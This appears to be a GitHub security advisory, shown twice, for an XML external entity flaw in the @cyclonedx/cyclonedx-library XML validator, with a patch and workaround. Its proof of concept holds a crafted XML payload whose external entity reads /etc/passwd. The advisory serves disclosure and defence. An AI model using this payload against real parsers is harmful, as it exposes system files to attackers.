Headline

GHSA-38gf-rh2w-gmj7: @cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability

Impact

XML External entity injections could be possible, when running the provided XML Validator on arbitrary input.

POC

const {
  Spec: { Version },
  Validation: { XmlValidator }
} = require('@cyclonedx/cyclonedx-library');

const version = Version.v1dot5;
const validator = new XmlValidator(version);
const input = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poc [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bom xmlns="http://cyclonedx.org/schema/bom/1.5">
  <components>
    <component type="library">
      <name>testing</name>
      <version>1.337</version>
      <licenses>
        <license>
          <id>&xxe;</id><!-- << XML external entity (XXE) injection -->
        </license>
      </licenses>
    </component>
  </components>
</bom>`;

// validating this forged(^) input might lead to unintended behaviour
// for the fact that the XML external entity would be taken into account.
validator.validate(input).then(ve => {
  console.error('validation error', ve);
});

Patches

This issue was fixed in @cyclonedx/[email protected].

Workarounds

Do not run the provided XML validator on untrusted inputs.

References

issue was introduced via https://github.com/CycloneDX/cyclonedx-javascript-library/pull/1063.

6 months ago

ghsa

Open in Source

#vulnerability #nodejs #js #git #java

GitHub Advisory Database
GitHub Reviewed
CVE-2024-34345

@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability

Package

npm @cyclonedx/cyclonedx-library (npm)

Affected versions

= 6.7.0

Impact

XML External entity injections could be possible, when running the provided XML Validator on arbitrary input.

POC

const { Spec: { Version }, Validation: { XmlValidator } } = require(‘@cyclonedx/cyclonedx-library’);

const version = Version.v1dot5; const validator = new XmlValidator(version); const input = `<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE poc [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <bom xmlns="http://cyclonedx.org/schema/bom/1.5"> <components> <component type="library"> <name>testing</name> <version>1.337</version> <licenses> <license> <id>&xxe;</id> </license> </licenses> </component> </components> </bom>`;

// validating this forged(^) input might lead to unintended behaviour // for the fact that the XML external entity would be taken into account. validator.validate(input).then(ve => { console.error('validation error’, ve); });

Patches

This issue was fixed in @cyclonedx/[email protected] .

Workarounds

Do not run the provided XML validator on untrusted inputs.

References